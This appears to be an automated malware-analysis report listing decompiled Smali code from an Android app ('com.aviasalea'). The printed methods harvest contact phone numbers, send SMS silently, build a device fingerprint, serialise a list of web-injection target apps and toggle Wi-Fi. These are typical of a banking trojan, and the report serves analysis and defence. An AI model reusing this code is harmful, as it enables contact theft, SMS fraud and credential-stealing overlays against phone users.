                                      126const-string v13, "Could not find running process for "
                                      128invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      129move-result-object v12
                                      131invoke-virtual {v12, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      132move-result-object v12
                                      134invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      135move-result-object v12
                                      137invoke-static {v12}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      138const/4 v12, 0x0
                                      139goto/16 :goto_44
                                      140cond_ab:
                                      141iget-object v12, v6, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
                                      143iget-object v13, v11, Landroid/content/pm/ServiceInfo;->processName:Ljava/lang/String;
                                      145invoke-virtual {v12, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      146move-result v12
                                      147goto/16 :goto_44
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • android.os.Build.BOARD:Ljava/lang/String
                                      • java.lang.String.length
                                      • java.lang.StringBuilder.append
                                      • android.os.Build.BRAND:Ljava/lang/String
                                      • java.lang.String.length
                                      • java.lang.StringBuilder.append
                                      • android.os.Build.CPU_ABI:Ljava/lang/String
                                      • java.lang.String.length
                                      • java.lang.StringBuilder.append
                                      • android.os.Build.DEVICE:Ljava/lang/String
                                      • java.lang.String.length
                                      • java.lang.StringBuilder.append
                                      • android.os.Build.MANUFACTURER:Ljava/lang/String
                                      • java.lang.String.length
                                      • java.lang.StringBuilder.append
                                      • android.os.Build.MODEL:Ljava/lang/String
                                      • java.lang.String.length
                                      • java.lang.StringBuilder.append
                                      • android.os.Build.PRODUCT:Ljava/lang/String
                                      • java.lang.String.length
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.Class.getField
                                      • java.lang.reflect.Field.get
                                      • java.lang.Object.toString
                                      • java.lang.String.hashCode
                                      • java.lang.String.hashCode
                                      • java.util.UUID.<init>
                                      • java.util.UUID.toString
                                      • java.lang.String.hashCode
                                      • java.lang.String.hashCode
                                      • java.util.UUID.<init>
                                      • java.util.UUID.toString
                                      Strings
                                      • 35
                                      • SERIAL
                                      • serial
                                      Position Instruction Meta Information
                                      0.prologue
                                      1new-instance v3, Ljava/lang/StringBuilder;
                                      3invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      5const-string v4, "35"
                                      7invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      8move-result-object v3
                                      10sget-object v4, Landroid/os/Build;->BOARD:Ljava/lang/String;
                                      12invoke-virtual {v4}, Ljava/lang/String;->length()I
                                      13move-result v4
                                      14rem-int/lit8 v4, v4, 0xa
                                      16invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      17move-result-object v3
                                      19sget-object v4, Landroid/os/Build;->BRAND:Ljava/lang/String;
                                      21invoke-virtual {v4}, Ljava/lang/String;->length()I
                                      22move-result v4
                                      23rem-int/lit8 v4, v4, 0xa
                                      25invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      26move-result-object v3
                                      28sget-object v4, Landroid/os/Build;->CPU_ABI:Ljava/lang/String;
                                      30invoke-virtual {v4}, Ljava/lang/String;->length()I
                                      31move-result v4
                                      32rem-int/lit8 v4, v4, 0xa
                                      34invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      35move-result-object v3
                                      37sget-object v4, Landroid/os/Build;->DEVICE:Ljava/lang/String;
                                      39invoke-virtual {v4}, Ljava/lang/String;->length()I
                                      40move-result v4
                                      41rem-int/lit8 v4, v4, 0xa
                                      43invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      44move-result-object v3
                                      46sget-object v4, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                                      48invoke-virtual {v4}, Ljava/lang/String;->length()I
                                      49move-result v4
                                      50rem-int/lit8 v4, v4, 0xa
                                      52invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      53move-result-object v3
                                      55sget-object v4, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                      57invoke-virtual {v4}, Ljava/lang/String;->length()I
                                      58move-result v4
                                      59rem-int/lit8 v4, v4, 0xa
                                      61invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      62move-result-object v3
                                      64sget-object v4, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                                      66invoke-virtual {v4}, Ljava/lang/String;->length()I
                                      67move-result v4
                                      68rem-int/lit8 v4, v4, 0xa
                                      70invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      71move-result-object v3
                                      73invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      74move-result-object v1
                                      75const/4 v2, 0x0
                                      76try_start_64: const-class v3, Landroid/os/Build;
                                      78const-string v4, "SERIAL"
                                      80invoke-virtual {v3, v4}, Ljava/lang/Class;->getField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                      81move-result-object v3
                                      82const/4 v4, 0x0
                                      84invoke-virtual {v3, v4}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      85move-result-object v3
                                      87invoke-virtual {v3}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                      88move-result-object v2
                                      89new-instance v3, Ljava/util/UUID;
                                      91invoke-virtual {v1}, Ljava/lang/String;->hashCode()I
                                      92move-result v4
                                      93int-to-long v4, v4
                                      95invoke-virtual {v2}, Ljava/lang/String;->hashCode()I
                                      96move-result v6
                                      97int-to-long v6, v6
                                      99invoke-direct {v3, v4, v5, v6, v7}, Ljava/util/UUID;-><init>(JJ)V
                                      101invoke-virtual {v3}, Ljava/util/UUID;->toString()Ljava/lang/String;
                                      102try_end_87: move-result-object v3
                                      103goto_88: return-object v3
                                      104catch_89: move-exception v0
                                      106const-string v2, "serial"
                                      107new-instance v3, Ljava/util/UUID;
                                      109invoke-virtual {v1}, Ljava/lang/String;->hashCode()I
                                      110move-result v4
                                      111int-to-long v4, v4
                                      113invoke-virtual {v2}, Ljava/lang/String;->hashCode()I
                                      114move-result v6
                                      115int-to-long v6, v6
                                      117invoke-direct {v3, v4, v5, v6, v7}, Ljava/util/UUID;-><init>(JJ)V
                                      119invoke-virtual {v3}, Ljava/util/UUID;->toString()Ljava/lang/String;
                                      120move-result-object v3
                                      121goto/16 :goto_88
                                      Cross References
                                      APIs
                                      • org.json.JSONArray.<init>
                                      • com.aviasalea.Realtalk.injWI:Ljava/util/List
                                      • com.aviasalea.Realtalk.injWI:Ljava/util/List
                                      • java.util.List.size
                                      • com.aviasalea.Realtalk.injWI:Ljava/util/List
                                      • java.util.List.get
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONArray.<init>
                                      • java.util.List.size
                                      • java.util.List.get
                                      • org.json.JSONObject.<init>
                                      • java.lang.String.equals
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONArray.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONArray.put
                                      • org.json.JSONArray.toString
                                      Strings
                                      • name
                                      • type
                                      • link
                                      • check
                                      • package
                                      • apps
                                      Position Instruction Meta Information
                                      0.param p0, "pkgName" # Ljava/lang/String;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7new-instance v2, Lorg/json/JSONArray;
                                      9invoke-direct {v2}, Lorg/json/JSONArray;-><init>()V
                                      11sget-object v10, Lcom/aviasalea/Realtalk;->injWI:Ljava/util/List;
                                      12if-eqz v10, :cond_87
                                      13const/4 v4, 0x0
                                      14goto_a:
                                      15sget-object v10, Lcom/aviasalea/Realtalk;->injWI:Ljava/util/List;
                                      17invoke-interface {v10}, Ljava/util/List;->size()I
                                      18move-result v10
                                      19if-ge v4, v10, :cond_87
                                      21sget-object v10, Lcom/aviasalea/Realtalk;->injWI:Ljava/util/List;
                                      23invoke-interface {v10, v4}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      24move-result-object v5
                                      25check-cast v5, Lcom/aviasalea/wb/WITools$Inj;
                                      26if-eqz v5, :cond_84
                                      27new-instance v8, Lorg/json/JSONObject;
                                      29invoke-direct {v8}, Lorg/json/JSONObject;-><init>()V
                                      31const-string v10, "name"
                                      33invoke-virtual {v5}, Lcom/aviasalea/wb/WITools$Inj;->getName()Ljava/lang/String;
                                      34move-result-object v11
                                      36invoke-virtual {v8, v10, v11}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      38const-string v10, "type"
                                      40invoke-virtual {v5}, Lcom/aviasalea/wb/WITools$Inj;->getType()Ljava/lang/String;
                                      41move-result-object v11
                                      43invoke-virtual {v8, v10, v11}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      45const-string v10, "link"
                                      47invoke-virtual {v5}, Lcom/aviasalea/wb/WITools$Inj;->getLink()Ljava/lang/String;
                                      48move-result-object v11
                                      50invoke-virtual {v8, v10, v11}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      51new-instance v3, Lorg/json/JSONArray;
                                      53invoke-direct {v3}, Lorg/json/JSONArray;-><init>()V
                                      55invoke-virtual {v5}, Lcom/aviasalea/wb/WITools$Inj;->getApps()Ljava/util/List;
                                      56move-result-object v1
                                      57if-eqz v1, :cond_84
                                      58const/4 v7, 0x0
                                      59goto_48:
                                      60invoke-interface {v1}, Ljava/util/List;->size()I
                                      61move-result v10
                                      62if-ge v7, v10, :cond_84
                                      64invoke-interface {v1, v7}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      65move-result-object v0
                                      66check-cast v0, Lcom/aviasalea/wb/WITools$App;
                                      67if-eqz v0, :cond_77
                                      68new-instance v9, Lorg/json/JSONObject;
                                      70invoke-direct {v9}, Lorg/json/JSONObject;-><init>()V
                                      72invoke-virtual {v0}, Lcom/aviasalea/wb/WITools$App;->getPkg()Ljava/lang/String;
                                      73move-result-object v10
                                      75invoke-virtual {v10, p0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      76move-result v6
                                      78const-string v11, "check"
                                      79if-nez v6, :cond_82
                                      80const/4 v10, 0x1
                                      81goto_68:
                                      82invoke-virtual {v9, v11, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                                      84const-string v10, "package"
                                      86invoke-virtual {v0}, Lcom/aviasalea/wb/WITools$App;->getPkg()Ljava/lang/String;
                                      87move-result-object v11
                                      89invoke-virtual {v9, v10, v11}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      91invoke-virtual {v3, v9}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                                      92cond_77:
                                      93const-string v10, "apps"
                                      95invoke-virtual {v8, v10, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      97invoke-virtual {v2, v8}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                                      98add-int/lit8 v7, v7, 0x1
                                      99goto/16 :goto_48
                                      100cond_82: const/4 v10, 0x0
                                      101goto/16 :goto_68
                                      102cond_84: add-int/lit8 v4, v4, 0x1
                                      103goto/16 :goto_a
                                      104cond_87:
                                      105invoke-virtual {v2}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                                      106move-result-object v10
                                      107return-object v10
                                      APIs
                                      • android.content.Context.getContentResolver
                                      • android.provider.ContactsContract$Contacts.CONTENT_URI:Landroid/net/Uri
                                      • android.content.ContentResolver.query
                                      • android.database.Cursor.getCount
                                      • java.util.List.size
                                      • java.util.List.clear
                                      • android.database.Cursor.moveToNext
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getString
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getInt
                                      • android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI:Landroid/net/Uri
                                      • android.content.ContentResolver.query
                                      • android.database.Cursor.moveToNext
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getString
                                      • java.util.List.add
                                      • android.util.Log.i
                                      • android.database.Cursor.close
                                      • android.database.Cursor.close
                                      Strings
                                      • _id
                                      • has_phone_number
                                      • contact_id = ?
                                      • data1
                                      • Phone Number:
                                      • contacts_fetched
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/4 v10, 0x0
                                      2const/4 v2, 0x0
                                      4iget-object v1, p0, Lcom/aviasalea/checktls/CmndTls$3;->val$context:Landroid/content/Context;
                                      6invoke-virtual {v1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                      7move-result-object v0
                                      9sget-object v1, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;
                                      10move-object v3, v2
                                      11move-object v4, v2
                                      12move-object v5, v2
                                      14invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                      15move-result-object v6
                                      16if-eqz v6, :cond_71
                                      18invoke-interface {v6}, Landroid/database/Cursor;->getCount()I
                                      19move-result v1
                                      20goto_17: if-lez v1, :cond_85
                                      22sget-object v1, Lcom/aviasalea/checktls/CmndTls;->contactList:Ljava/util/List;
                                      23if-eqz v1, :cond_2a
                                      25sget-object v1, Lcom/aviasalea/checktls/CmndTls;->contactList:Ljava/util/List;
                                      27invoke-interface {v1}, Ljava/util/List;->size()I
                                      28move-result v1
                                      29if-lez v1, :cond_2a
                                      31sget-object v1, Lcom/aviasalea/checktls/CmndTls;->contactList:Ljava/util/List;
                                      33invoke-interface {v1}, Ljava/util/List;->clear()V
                                      34goto_2a: if-eqz v6, :cond_77
                                      36invoke-interface {v6}, Landroid/database/Cursor;->moveToNext()Z
                                      37move-result v1
                                      38if-eqz v1, :cond_77
                                      40const-string v1, "_id"
                                      42invoke-interface {v6, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      43move-result v1
                                      45invoke-interface {v6, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                      46move-result-object v7
                                      48const-string v1, "has_phone_number"
                                      50invoke-interface {v6, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      51move-result v1
                                      53invoke-interface {v6, v1}, Landroid/database/Cursor;->getInt(I)I
                                      54move-result v1
                                      55if-lez v1, :cond_2a
                                      57sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
                                      59const-string v3, "contact_id = ?"
                                      60const/4 v4, 0x1
                                      61new-array v4, v4, [Ljava/lang/String;
                                      62aput-object v7, v4, v10
                                      63move-object v5, v2
                                      65invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                      66move-result-object v8
                                      67goto_56:
                                      68invoke-interface {v8}, Landroid/database/Cursor;->moveToNext()Z
                                      69move-result v1
                                      70if-eqz v1, :cond_73
                                      72const-string v1, "data1"
                                      74invoke-interface {v8, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      75move-result v1
                                      77invoke-interface {v8, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                      78move-result-object v9
                                      80sget-object v1, Lcom/aviasalea/checktls/CmndTls;->contactList:Ljava/util/List;
                                      82invoke-interface {v1, v9}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      84const-string v1, "Phone Number: "
                                      86invoke-static {v1, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                      87goto/16 :goto_56
                                      88cond_71: move v1, v10
                                      89goto/16 :goto_17
                                      90cond_73:
                                      91invoke-interface {v8}, Landroid/database/Cursor;->close()V
                                      92goto/16 :goto_2a
                                      93cond_77:
                                      94invoke-static {}, Lde/greenrobot/event/EventBus;->getDefault()Lde/greenrobot/event/EventBus;
                                      95move-result-object v1
                                      96new-instance v2, Lcom/aviasalea/mess/model/MessageEvent;
                                      98const-string v3, "contacts_fetched"
                                      100invoke-direct {v2, v3}, Lcom/aviasalea/mess/model/MessageEvent;-><init>(Ljava/lang/String;)V
                                      102invoke-virtual {v1, v2}, Lde/greenrobot/event/EventBus;->postSticky(Ljava/lang/Object;)V
                                      103cond_85: if-eqz v6, :cond_8a
                                      105invoke-interface {v6}, Landroid/database/Cursor;->close()V
                                      106cond_8a: return-void
                                      Cross References
                                      APIs
                                      • android.content.Context.getApplicationContext
                                      • android.content.Context.getSystemService
                                      • android.net.wifi.WifiConfiguration.<init>
                                      • android.net.wifi.WifiConfiguration.allowedGroupCiphers:Ljava/util/BitSet
                                      • java.util.BitSet.set
                                      • android.net.wifi.WifiConfiguration.allowedGroupCiphers:Ljava/util/BitSet
                                      • java.util.BitSet.set
                                      • android.net.wifi.WifiConfiguration.allowedKeyManagement:Ljava/util/BitSet
                                      • java.util.BitSet.set
                                      • android.net.wifi.WifiConfiguration.allowedPairwiseCiphers:Ljava/util/BitSet
                                      • java.util.BitSet.set
                                      • android.net.wifi.WifiConfiguration.allowedPairwiseCiphers:Ljava/util/BitSet
                                      • java.util.BitSet.set
                                      • android.net.wifi.WifiConfiguration.allowedProtocols:Ljava/util/BitSet
                                      • java.util.BitSet.set
                                      • android.net.wifi.WifiManager.isWifiEnabled
                                      • android.net.wifi.WifiManager.setWifiEnabled
                                      • android.widget.Toast.makeText
                                      • android.widget.Toast.show
                                      • android.net.wifi.WifiManager.setWifiEnabled
                                      • android.widget.Toast.makeText
                                      • android.widget.Toast.show
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • wifi
                                      • \"SSIDName\"
                                      • \"password\"
                                      • yes
                                      • no
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2try_start_0:
                                      3invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                      4move-result-object v4
                                      6const-string v5, "wifi"
                                      8invoke-virtual {v4, v5}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      9move-result-object v3
                                      10check-cast v3, Landroid/net/wifi/WifiManager;
                                      11if-eqz v3, :cond_59
                                      12new-instance v2, Landroid/net/wifi/WifiConfiguration;
                                      14invoke-direct {v2}, Landroid/net/wifi/WifiConfiguration;-><init>()V
                                      16const-string v4, "\"SSIDName\""
                                      17iput-object v4, v2, Landroid/net/wifi/WifiConfiguration;->SSID:Ljava/lang/String;
                                      19const-string v4, "\"password\""
                                      20iput-object v4, v2, Landroid/net/wifi/WifiConfiguration;->preSharedKey:Ljava/lang/String;
                                      21const/4 v4, 0x1
                                      22iput-boolean v4, v2, Landroid/net/wifi/WifiConfiguration;->hiddenSSID:Z
                                      23const/4 v4, 0x2
                                      24iput v4, v2, Landroid/net/wifi/WifiConfiguration;->status:I
                                      26iget-object v4, v2, Landroid/net/wifi/WifiConfiguration;->allowedGroupCiphers:Ljava/util/BitSet;
                                      27const/4 v5, 0x2
                                      29invoke-virtual {v4, v5}, Ljava/util/BitSet;->set(I)V
                                      31iget-object v4, v2, Landroid/net/wifi/WifiConfiguration;->allowedGroupCiphers:Ljava/util/BitSet;
                                      32const/4 v5, 0x3
                                      34invoke-virtual {v4, v5}, Ljava/util/BitSet;->set(I)V
                                      36iget-object v4, v2, Landroid/net/wifi/WifiConfiguration;->allowedKeyManagement:Ljava/util/BitSet;
                                      37const/4 v5, 0x1
                                      39invoke-virtual {v4, v5}, Ljava/util/BitSet;->set(I)V
                                      41iget-object v4, v2, Landroid/net/wifi/WifiConfiguration;->allowedPairwiseCiphers:Ljava/util/BitSet;
                                      42const/4 v5, 0x1
                                      44invoke-virtual {v4, v5}, Ljava/util/BitSet;->set(I)V
                                      46iget-object v4, v2, Landroid/net/wifi/WifiConfiguration;->allowedPairwiseCiphers:Ljava/util/BitSet;
                                      47const/4 v5, 0x2
                                      49invoke-virtual {v4, v5}, Ljava/util/BitSet;->set(I)V
                                      51iget-object v4, v2, Landroid/net/wifi/WifiConfiguration;->allowedProtocols:Ljava/util/BitSet;
                                      52const/4 v5, 0x1
                                      54invoke-virtual {v4, v5}, Ljava/util/BitSet;->set(I)V
                                      56invoke-virtual {v3}, Landroid/net/wifi/WifiManager;->isWifiEnabled()Z
                                      57move-result v0
                                      58if-eqz v0, :cond_5a
                                      59const/4 v4, 0x0
                                      61invoke-virtual {v3, v4}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
                                      63const-string v4, "yes"
                                      64const/4 v5, 0x0
                                      66invoke-static {p0, v4, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                                      67move-result-object v4
                                      69invoke-virtual {v4}, Landroid/widget/Toast;->show()V
                                      70cond_59: return-void
                                      71cond_5a: const/4 v4, 0x1
                                      73invoke-virtual {v3, v4}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
                                      75const-string v4, "no"
                                      76const/4 v5, 0x0
                                      78invoke-static {p0, v4, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                                      79move-result-object v4
                                      81invoke-virtual {v4}, Landroid/widget/Toast;->show()V
                                      82try_end_68: goto/16 :goto_59
                                      83catch_69: move-exception v1
                                      85invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                                      86goto/16 :goto_59
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.app.PendingIntent.getBroadcast
                                      • android.content.Intent.<init>
                                      • android.app.PendingIntent.getBroadcast
                                      • com.aviasalea.checktls.CmndTls$1.<init>
                                      • android.content.IntentFilter.<init>
                                      • android.content.Context.registerReceiver
                                      • com.aviasalea.checktls.CmndTls$2.<init>
                                      • android.content.IntentFilter.<init>
                                      • android.content.Context.registerReceiver
                                      • android.telephony.SmsManager.getDefault
                                      • android.telephony.SmsManager.sendTextMessage
                                      • java.lang.Exception.getMessage
                                      • java.lang.String.toString
                                      • android.widget.Toast.makeText
                                      • android.widget.Toast.show
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • SMS_SENT
                                      • SMS_DELIVERED
                                      Position Instruction Meta Information
                                      0.param p0, "phoneNo" # Ljava/lang/String;
                                      1.param p1, "msg" # Ljava/lang/String;
                                      2.param p2, "mContext" # Landroid/content/Context;
                                      3.param p3, "messStatusInterface" # Lcom/aviasalea/mess/MessStatusInterface;
                                      4.prologue
                                      5try_start_0:
                                      6const-string v7, "SMS_SENT"
                                      8const-string v6, "SMS_DELIVERED"
                                      9const/4 v1, 0x0
                                      10new-instance v2, Landroid/content/Intent;
                                      12invoke-direct {v2, v7}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                      13const/4 v3, 0x0
                                      15invoke-static {p2, v1, v2, v3}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
                                      16move-result-object v4
                                      17const/4 v1, 0x0
                                      18new-instance v2, Landroid/content/Intent;
                                      20invoke-direct {v2, v6}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                      21const/4 v3, 0x0
                                      23invoke-static {p2, v1, v2, v3}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
                                      24move-result-object v5
                                      25new-instance v1, Lcom/aviasalea/checktls/CmndTls$1;
                                      27invoke-direct {v1, p3}, Lcom/aviasalea/checktls/CmndTls$1;-><init>(Lcom/aviasalea/mess/MessStatusInterface;)V
                                      28new-instance v2, Landroid/content/IntentFilter;
                                      30invoke-direct {v2, v7}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
                                      32invoke-virtual {p2, v1, v2}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                                      33new-instance v1, Lcom/aviasalea/checktls/CmndTls$2;
                                      35invoke-direct {v1, p3}, Lcom/aviasalea/checktls/CmndTls$2;-><init>(Lcom/aviasalea/mess/MessStatusInterface;)V
                                      36new-instance v2, Landroid/content/IntentFilter;
                                      38invoke-direct {v2, v6}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
                                      40invoke-virtual {p2, v1, v2}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                                      42invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
                                      43move-result-object v0
                                      44const/4 v2, 0x0
                                      45move-object v1, p0
                                      46move-object v3, p1
                                      48invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
                                      49try_end_3e: return-void
                                      50catch_3f: move-exception v8
                                      52invoke-virtual {v8}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                      53move-result-object v1
                                      55invoke-virtual {v1}, Ljava/lang/String;->toString()Ljava/lang/String;
                                      56move-result-object v1
                                      57const/4 v2, 0x1
                                      59invoke-static {p2, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                                      60move-result-object v1
                                      62invoke-virtual {v1}, Landroid/widget/Toast;->show()V
                                      64invoke-virtual {v8}, Ljava/lang/Exception;->printStackTrace()V
                                      65goto/16 :goto_3e
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onCreate
                                      • com.aviasalea.checkui.ActOpenApp.getIntent
                                      • android.content.Intent.getStringExtra
                                      • java.lang.String.length
                                      • com.aviasalea.Realtalk.setPlaySound
                                      • com.aviasalea.checkui.ActOpenApp.getPackageManager
                                      • android.content.pm.PackageManager.getLaunchIntentForPackage
                                      • android.content.Intent.addCategory
                                      • com.aviasalea.checkui.ActOpenApp.startActivity
                                      • com.aviasalea.checkui.ActOpenApp.finishActivity
                                      • com.aviasalea.checkui.ActOpenApp.finishActivity
                                      • com.aviasalea.checkui.ActOpenApp.finishActivity
                                      • com.aviasalea.checkui.ActOpenApp.finishActivity
                                      Strings
                                      • packageName
                                      • push_end_status
                                      • android.intent.category.LAUNCHER
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-super {p0, p1}, Lcom/aviasalea/base/BaseActivity;->onCreate(Landroid/os/Bundle;)V
                                      5invoke-virtual {p0}, Lcom/aviasalea/checkui/ActOpenApp;->getIntent()Landroid/content/Intent;
                                      6move-result-object v4
                                      8const-string v5, "packageName"
                                      10invoke-virtual {v4, v5}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                                      11move-result-object v3
                                      12if-eqz v3, :cond_44
                                      14invoke-virtual {v3}, Ljava/lang/String;->length()I
                                      15move-result v4
                                      16if-lez v4, :cond_40
                                      17try_start_15:
                                      18invoke-static {}, Lde/greenrobot/event/EventBus;->getDefault()Lde/greenrobot/event/EventBus;
                                      19move-result-object v4
                                      20new-instance v5, Lcom/aviasalea/mess/model/MessageEvent;
                                      22const-string v6, "push_end_status"
                                      24invoke-direct {v5, v6}, Lcom/aviasalea/mess/model/MessageEvent;-><init>(Ljava/lang/String;)V
                                      26invoke-virtual {v4, v5}, Lde/greenrobot/event/EventBus;->postSticky(Ljava/lang/Object;)V
                                      27const/4 v4, 0x0
                                      29invoke-static {p0, v4}, Lcom/aviasalea/Realtalk;->setPlaySound(Landroid/content/Context;Z)V
                                      31invoke-virtual {p0}, Lcom/aviasalea/checkui/ActOpenApp;->getPackageManager()Landroid/content/pm/PackageManager;
                                      32move-result-object v2
                                      34invoke-virtual {v2, v3}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
                                      35move-result-object v1
                                      37const-string v4, "android.intent.category.LAUNCHER"
                                      39invoke-virtual {v1, v4}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
                                      41invoke-virtual {p0, v1}, Lcom/aviasalea/checkui/ActOpenApp;->startActivity(Landroid/content/Intent;)V
                                      43invoke-virtual {p0}, Lcom/aviasalea/checkui/ActOpenApp;->finishActivity()V
                                      44goto_3a: return-void
                                      45catch_3b: move-exception v0
                                      47invoke-virtual {p0}, Lcom/aviasalea/checkui/ActOpenApp;->finishActivity()V
                                      48goto/16 :goto_3a
                                      49cond_40:
                                      50invoke-virtual {p0}, Lcom/aviasalea/checkui/ActOpenApp;->finishActivity()V
                                      51goto/16 :goto_3a
                                      52cond_44:
                                      53invoke-virtual {p0}, Lcom/aviasalea/checkui/ActOpenApp;->finishActivity()V
                                      54goto/16 :goto_3a
                                      Cross References
                                      APIs
                                      • java.lang.String.contains
